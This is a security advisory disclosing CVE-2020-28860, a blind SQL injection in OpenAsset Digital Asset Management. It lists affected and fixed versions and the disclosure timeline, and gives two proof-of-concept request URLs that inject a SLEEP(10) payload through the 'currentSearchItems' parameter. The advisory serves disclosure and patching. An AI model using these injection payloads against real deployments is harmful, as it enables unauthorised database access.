Product: OpenAsset Digital Asset Management by OpenAsset
Vendor Homepage: https://www.openasset.com/
Vulnerable Version: 12.0.19 (Cloud) 11.2.1 (On-premise)
Fixed Version: 12.0.23 (Cloud) 11.4.10 (On-premise)
CVE Number: CVE-2020-28860
Author: Jack Misiura from The Missing Link
Website: https://www.themissinglink.com.au
Timeline:
2020-11-14 Disclosed to Vendor
2020-12-04 Vendor releases final patches
2020-12-10 Publication
1. Vulnerability Description
The OpenAsset Digital Asset Management application was vulnerable to a blind SQL injection, through the /AJAXPage/SearchResults endpoint, via the "currentSearchItems" parameter.
2. PoC
The following requests will result in > 10 second delay in the response, due to the introduction of the SLEEP(10) command into the SQL query:
https://example.com/AJAXPage/SearchResults?currentSearchItems=newUpload:0=11)%20AND%20(SELECT%20SLEEP(10))=1%23
https://example.com/AJAXPage/SearchResults?currentSearchItems=album%3A1=196)%20AND%20(SELECT+SLEEP(10)=1)%23
3. Solution
The vendor provides an updated version (11.4.10) which should be installed immediately. If using the cloud version, the vendor has already updated it.
4. Advisory URL
https://www.themissinglink.com.au/security-advisories
